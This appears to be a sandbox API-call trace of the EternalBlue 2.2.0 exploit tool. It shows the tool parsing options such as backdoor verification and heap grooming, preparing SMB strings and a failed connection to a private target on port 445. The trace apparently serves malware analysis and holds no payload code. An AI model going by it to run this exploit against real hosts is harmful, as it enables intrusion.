[0267.168] strlen (_Str="--DaveProxyPort=0") returned 0x11
[0267.168] strcmp (_Str1="--NetworkTimeout", _Str2="--") returned 1
[0267.168] strlen (_Str="--NetworkTimeout") returned 0x10
[0267.168] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.168] strcmp (_Str1="--NetworkTimeout", _Str2="-?") returned -1
[0267.168] strlen (_Str="--NetworkTimeout") returned 0x10
[0267.169] strtol (in: _Str="60", _EndPtr=0xc5f914, _Radix=0 | out: _EndPtr=0xc5f914*="") returned 60
[0267.169] strcmp (_Str1="--TargetPort", _Str2="--") returned 1
[0267.169] strlen (_Str="--TargetPort") returned 0xc
[0267.169] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.169] strcmp (_Str1="--TargetPort", _Str2="-?") returned -1
[0267.169] strlen (_Str="--TargetPort") returned 0xc
[0267.169] strcmp (_Str1="--VerifyTarget", _Str2="--") returned 1
[0267.169] strlen (_Str="--VerifyTarget") returned 0xe
[0267.169] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.169] strcmp (_Str1="--VerifyTarget", _Str2="-?") returned -1
[0267.169] strlen (_Str="--VerifyTarget") returned 0xe
[0267.169] strcmp (_Str1="True", _Str2="0") returned 1
[0267.169] strcmp (_Str1="True", _Str2="1") returned 1
[0267.170] strcmp (_Str1="--VerifyBackdoor", _Str2="--") returned 1
[0267.170] strlen (_Str="--VerifyBackdoor") returned 0x10
[0267.170] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.170] strcmp (_Str1="--VerifyBackdoor", _Str2="-?") returned -1
[0267.170] strlen (_Str="--VerifyBackdoor") returned 0x10
[0267.170] strcmp (_Str1="True", _Str2="0") returned 1
[0267.170] strcmp (_Str1="True", _Str2="1") returned 1
[0267.170] strcmp (_Str1="--MaxExploitAttempts", _Str2="--") returned 1
[0267.170] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0267.170] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.170] strcmp (_Str1="--MaxExploitAttempts", _Str2="-?") returned -1
[0267.170] strlen (_Str="--MaxExploitAttempts") returned 0x14
[0267.171] strcmp (_Str1="--GroomAllocations", _Str2="--") returned 1
[0267.171] strlen (_Str="--GroomAllocations") returned 0x12
[0267.171] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.171] strcmp (_Str1="--GroomAllocations", _Str2="-?") returned -1
[0267.171] strlen (_Str="--GroomAllocations") returned 0x12
[0267.171] strcmp (_Str1="--OutConfig", _Str2="--") returned 1
[0267.171] strlen (_Str="--OutConfig") returned 0xb
[0267.171] strncmp (_Str1="--", _Str2="--", _MaxCount=0x2) returned 0
[0267.171] strcmp (_Str1="--OutConfig", _Str2="-?") returned -1
[0267.171] strlen (_Str="--OutConfig") returned 0xb
[0267.171] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0267.171] calloc (_Count=0x16, _Size=0x1) returned 0x10b6d00
[0267.172] _mbscpy (in: param_1=0x10b6d00, param_2=0x1b2951 | out: param_1=0x10b6d00) returned 0x10b6d00
[0267.172] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0267.172] free (_Block=0x10c1378)
[0267.172] strlen (_Str="Eternalblue-2.2.0.log") returned 0x15
[0267.172] calloc (_Count=0x16, _Size=0x1) returned 0x10b6d20
[0267.172] strcmp (_Str1="Eternalblue-2.2.0.log", _Str2="stdout") returned -1
[0267.172] _open (_FileName="Eternalblue-2.2.0.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eternalblue-2.2.0.log"), _OpenFlag=33537) returned 3
[0267.173] malloc (_Size=0x10) returned 0x1bda20
[0267.174] strlen (_Str="WIN72K8R2") returned 0x9
[0267.174] strlen (_Str="192.168.0.155") returned 0xd
[0267.174] malloc (_Size=0xc73) returned 0x1bde78
[0267.174] strlen (_Str="WIN72K8R2") returned 0x9
[0267.174] strlen (_Str="192.168.0.155") returned 0xd
[0267.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x11f1b1f, lpParameter=0x10b6be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64
[0267.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x11f1b1f, lpParameter=0x10b6be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70
[0267.232] WaitForMultipleObjects (nCount=0x3, lpHandles=0xc5f938*=0x6c, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x2
[0288.611] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x2710)
Thread:
id = 330
os_tid = 0xf74
[0267.293] malloc (_Size=0x400) returned 0x1bf508
[0267.293] Sleep (dwMilliseconds=0xa)
[0267.314] vfprintf (in: _File=0x77032920, _Format="[*] Connecting to target for exploitation.\n", _ArgList=0x214fe04 | out: _File=0x77032920) returned 43
[0267.386] fflush (in: _File=0x77032920 | out: _File=0x77032920) returned 0
[0267.386] Sleep (dwMilliseconds=0xa)
[0267.392] Sleep (dwMilliseconds=0xa)
[0267.420] Sleep (dwMilliseconds=0xa)
[0267.424] Sleep (dwMilliseconds=0xa)
[0269.341] Sleep (dwMilliseconds=0xa)
[0269.361] Sleep (dwMilliseconds=0xa)
[0269.373] Sleep (dwMilliseconds=0xa)
[0269.389] Sleep (dwMilliseconds=0xa)
[0269.404] Sleep (dwMilliseconds=0xa)
[0269.420] Sleep (dwMilliseconds=0xa)
[0269.436] Sleep (dwMilliseconds=0xa)
[0269.453] Sleep (dwMilliseconds=0xa)
[0269.467] Sleep (dwMilliseconds=0xa)
[0269.491] Sleep (dwMilliseconds=0xa)
[0270.015] Sleep (dwMilliseconds=0xa)
[0270.029] Sleep (dwMilliseconds=0xa)
[0270.044] Sleep (dwMilliseconds=0xa)
[0270.060] Sleep (dwMilliseconds=0xa)
[0270.075] Sleep (dwMilliseconds=0xa)
[0270.091] Sleep (dwMilliseconds=0xa)
[0270.107] Sleep (dwMilliseconds=0xa)
[0270.128] Sleep (dwMilliseconds=0xa)
[0270.138] Sleep (dwMilliseconds=0xa)
[0270.154] Sleep (dwMilliseconds=0xa)
[0270.172] Sleep (dwMilliseconds=0xa)
[0270.185] Sleep (dwMilliseconds=0xa)
[0270.200] Sleep (dwMilliseconds=0xa)
[0270.216] Sleep (dwMilliseconds=0xa)
[0270.231] Sleep (dwMilliseconds=0xa)
[0270.247] Sleep (dwMilliseconds=0xa)
[0270.262] Sleep (dwMilliseconds=0xa)
[0270.278] Sleep (dwMilliseconds=0xa)
[0270.294] Sleep (dwMilliseconds=0xa)
[0270.342] Sleep (dwMilliseconds=0xa)
[0270.356] Sleep (dwMilliseconds=0xa)
[0270.372] Sleep (dwMilliseconds=0xa)
[0270.387] Sleep (dwMilliseconds=0xa)
[0270.403] Sleep (dwMilliseconds=0xa)
[0270.431] Sleep (dwMilliseconds=0xa)
[0270.436] Sleep (dwMilliseconds=0xa)
[0272.191] Sleep (dwMilliseconds=0xa)
[0272.199] Sleep (dwMilliseconds=0xa)
[0272.212] Sleep (dwMilliseconds=0xa)
[0272.228] Sleep (dwMilliseconds=0xa)
[0272.244] Sleep (dwMilliseconds=0xa)
[0272.265] Sleep (dwMilliseconds=0xa)
[0272.275] Sleep (dwMilliseconds=0xa)
[0272.295] Sleep (dwMilliseconds=0xa)
[0272.326] Sleep (dwMilliseconds=0xa)
[0272.337] Sleep (dwMilliseconds=0xa)
[0273.048] Sleep (dwMilliseconds=0xa)
[0273.060] Sleep (dwMilliseconds=0xa)
[0273.071] Sleep (dwMilliseconds=0xa)
[0273.099] Sleep (dwMilliseconds=0xa)
[0273.103] Sleep (dwMilliseconds=0xa)
[0273.117] Sleep (dwMilliseconds=0xa)
[0273.133] Sleep (dwMilliseconds=0xa)
[0273.149] Sleep (dwMilliseconds=0xa)
[0273.164] Sleep (dwMilliseconds=0xa)
[0273.181] Sleep (dwMilliseconds=0xa)
[0273.227] Sleep (dwMilliseconds=0xa)
[0273.245] Sleep (dwMilliseconds=0xa)
[0273.260] Sleep (dwMilliseconds=0xa)
[0273.273] Sleep (dwMilliseconds=0xa)
[0273.289] Sleep (dwMilliseconds=0xa)
[0273.304] Sleep (dwMilliseconds=0xa)
[0273.336] Sleep (dwMilliseconds=0xa)
[0273.356] Sleep (dwMilliseconds=0xa)
[0273.377] Sleep (dwMilliseconds=0xa)
[0273.383] Sleep (dwMilliseconds=0xa)
[0273.411] Sleep (dwMilliseconds=0xa)
[0273.414] Sleep (dwMilliseconds=0xa)
[0273.431] Sleep (dwMilliseconds=0xa)
[0273.445] Sleep (dwMilliseconds=0xa)
[0273.461] Sleep (dwMilliseconds=0xa)
[0273.476] Sleep (dwMilliseconds=0xa)
[0274.950] Sleep (dwMilliseconds=0xa)
[0275.058] Sleep (dwMilliseconds=0xa)
[0275.072] Sleep (dwMilliseconds=0xa)
[0275.568] Sleep (dwMilliseconds=0xa)
[0275.582] Sleep (dwMilliseconds=0xa)
[0275.598] Sleep (dwMilliseconds=0xa)
[0275.615] Sleep (dwMilliseconds=0xa)
[0275.629] Sleep (dwMilliseconds=0xa)
[0275.646] Sleep (dwMilliseconds=0xa)
[0275.660] Sleep (dwMilliseconds=0xa)
[0275.676] Sleep (dwMilliseconds=0xa)
[0275.691] Sleep (dwMilliseconds=0xa)
[0275.721] Sleep (dwMilliseconds=0xa)
[0275.724] Sleep (dwMilliseconds=0xa)
[0275.863] Sleep (dwMilliseconds=0xa)
[0275.915] Sleep (dwMilliseconds=0xa)
[0275.984] Sleep (dwMilliseconds=0xa)
[0276.027] Sleep (dwMilliseconds=0xa)
[0276.083] Sleep (dwMilliseconds=0xa)
[0276.130] Sleep (dwMilliseconds=0xa)
[0276.177] Sleep (dwMilliseconds=0xa)
[0277.760] Sleep (dwMilliseconds=0xa)
[0278.336] Sleep (dwMilliseconds=0xa)
[0278.400] Sleep (dwMilliseconds=0xa)
[0278.442] Sleep (dwMilliseconds=0xa)
[0278.487] Sleep (dwMilliseconds=0xa)
[0278.538] Sleep (dwMilliseconds=0xa)
[0278.640] Sleep (dwMilliseconds=0xa)
[0278.693] Sleep (dwMilliseconds=0xa)
[0278.783] Sleep (dwMilliseconds=0xa)
[0280.928] Sleep (dwMilliseconds=0xa)
[0280.965] Sleep (dwMilliseconds=0xa)
[0280.988] Sleep (dwMilliseconds=0xa)
[0281.003] Sleep (dwMilliseconds=0xa)
[0281.024] Sleep (dwMilliseconds=0xa)
[0281.042] Sleep (dwMilliseconds=0xa)
[0282.400] Sleep (dwMilliseconds=0xa)
[0282.937] Sleep (dwMilliseconds=0xa)
[0283.058] Sleep (dwMilliseconds=0xa)
[0283.239] Sleep (dwMilliseconds=0xa)
[0283.306] Sleep (dwMilliseconds=0xa)
[0283.354] Sleep (dwMilliseconds=0xa)
[0283.400] Sleep (dwMilliseconds=0xa)
[0283.454] Sleep (dwMilliseconds=0xa)
[0283.527] Sleep (dwMilliseconds=0xa)
[0283.554] Sleep (dwMilliseconds=0xa)
[0284.656] Sleep (dwMilliseconds=0xa)
[0284.693] Sleep (dwMilliseconds=0xa)
[0284.717] Sleep (dwMilliseconds=0xa)
[0284.724] Sleep (dwMilliseconds=0xa)
[0284.904] Sleep (dwMilliseconds=0xa)
[0285.116] Sleep (dwMilliseconds=0xa)
[0285.335] Sleep (dwMilliseconds=0xa)
[0285.389] Sleep (dwMilliseconds=0xa)
[0285.396] Sleep (dwMilliseconds=0xa)
[0285.410] Sleep (dwMilliseconds=0xa)
[0285.430] Sleep (dwMilliseconds=0xa)
[0285.442] Sleep (dwMilliseconds=0xa)
[0285.599] Sleep (dwMilliseconds=0xa)
[0285.625] Sleep (dwMilliseconds=0xa)
[0285.629] Sleep (dwMilliseconds=0xa)
[0285.656] Sleep (dwMilliseconds=0xa)
[0285.710] Sleep (dwMilliseconds=0xa)
[0285.936] Sleep (dwMilliseconds=0xa)
[0286.027] Sleep (dwMilliseconds=0xa)
[0286.036] Sleep (dwMilliseconds=0xa)
[0286.054] Sleep (dwMilliseconds=0xa)
[0286.181] Sleep (dwMilliseconds=0xa)
[0286.331] Sleep (dwMilliseconds=0xa)
[0286.472] Sleep (dwMilliseconds=0xa)
[0286.643] Sleep (dwMilliseconds=0xa)
[0286.753] Sleep (dwMilliseconds=0xa)
[0287.839] Sleep (dwMilliseconds=0xa)
[0287.937] Sleep (dwMilliseconds=0xa)
[0288.112] Sleep (dwMilliseconds=0xa)
[0288.139] Sleep (dwMilliseconds=0xa)
[0288.141] Sleep (dwMilliseconds=0xa)
[0288.168] Sleep (dwMilliseconds=0xa)
[0288.171] Sleep (dwMilliseconds=0xa)
[0288.187] Sleep (dwMilliseconds=0xa)
[0288.212] Sleep (dwMilliseconds=0xa)
Thread:
id = 331
os_tid = 0xee4
[0267.294] malloc (_Size=0x34) returned 0x10b3ab8
[0267.294] malloc (_Size=0xc49) returned 0x10b1200
[0267.295] malloc (_Size=0xa) returned 0x1bda38
[0267.295] malloc (_Size=0xe) returned 0x1bda08
[0267.295] strcmp (_Str1="WIN72K8R2", _Str2="XP") returned -1
[0267.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2c1f9c0 | out: lpSystemTimeAsFileTime=0x2c1f9c0*(dwLowDateTime=0x76fea440, dwHighDateTime=0x1d6a96f))
[0267.295] srand (_Seed=0x76fea440)
[0267.295] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2c1f840 | out: lpWSAData=0x2c1f840) returned 0
[0267.295] malloc (_Size=0x1090) returned 0x10b1e58
[0267.295] htons (hostshort=0x1122) returned 0x2211
[0267.295] malloc (_Size=0x2000) returned 0x10b9120
[0267.295] rand () returned 11147
[0267.295] rand () returned 11989
[0267.295] rand () returned 7254
[0267.295] rand () returned 7979
[0267.295] malloc (_Size=0x18) returned 0x10b6e20
[0267.296] realloc (_Block=0x0, _Size=0x6) returned 0x10c1378
[0267.296] realloc (_Block=0x0, _Size=0xa) returned 0x1bd960
[0267.296] rand () returned 24662
[0267.296] rand () returned 31941
[0267.296] rand () returned 4311
[0267.296] rand () returned 15605
[0267.296] rand () returned 21068
[0267.296] rand () returned 3362
[0267.296] rand () returned 21564
[0267.296] rand () returned 8076
[0267.296] rand () returned 1393
[0267.296] rand () returned 16181
[0267.296] rand () returned 18109
[0267.296] rand () returned 27674
[0267.296] rand () returned 30933
[0267.296] rand () returned 2588
[0267.296] rand () returned 26128
[0267.296] rand () returned 16457
[0267.296] rand () returned 20236
[0267.296] rand () returned 21357
[0267.296] rand () returned 22914
[0267.296] rand () returned 24071
[0267.296] strlen (_Str="LANMAN") returned 0x6
[0267.296] realloc (_Block=0x0, _Size=0x7) returned 0x10c1318
[0267.296] strlen (_Str="IPC$") returned 0x4
[0267.296] realloc (_Block=0x0, _Size=0x5) returned 0x10c1328
[0267.297] malloc (_Size=0x2000) returned 0x10bb128
[0267.297] malloc (_Size=0x2000) returned 0x10bd130
[0267.297] time (in: timer=0x0 | out: timer=0x0) returned 0x5f932975
[0267.297] strlen (_Str="Windows 2000 2195") returned 0x11
[0267.297] realloc (_Block=0x0, _Size=0x12) returned 0x10b6e40
[0267.297] strlen (_Str="Windows 2000 5.0") returned 0x10
[0267.297] realloc (_Block=0x0, _Size=0x11) returned 0x10b6e60
[0267.297] htons (hostshort=0x1bd) returned 0xbd01
[0267.297] socket (af=2, type=1, protocol=6) returned 0x98
[0267.385] setsockopt (s=0x98, level=65535, optname=128, optval="", optlen=4) returned 0
[0267.385] connect (s=0x98, name=0x10b1e78*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.155"), namelen=16) returned -1
[0288.547] closesocket (s=0x98) returned 0
[0288.548] free (_Block=0x10bb128)
[0288.548] free (_Block=0x10bd130)
[0288.548] free (_Block=0x10b9120)
[0288.548] free (_Block=0x10c1328)
[0288.548] free (_Block=0x10c1318)
[0288.548] free (_Block=0x10b6e40)
[0288.548] free (_Block=0x10b6e60)
[0288.548] free (_Block=0x10c1378)
[0288.548] free (_Block=0x1bd960)
[0288.548] free (_Block=0x10b6e20)
[0288.548] free (_Block=0x10b1e58)
[0288.548] WSACleanup () returned 0
[0288.549] free (_Block=0x10b1200)
[0288.549] free (_Block=0x1bda38)
[0288.549] free (_Block=0x1bda08)
[0288.549] free (_Block=0x10b3ab8)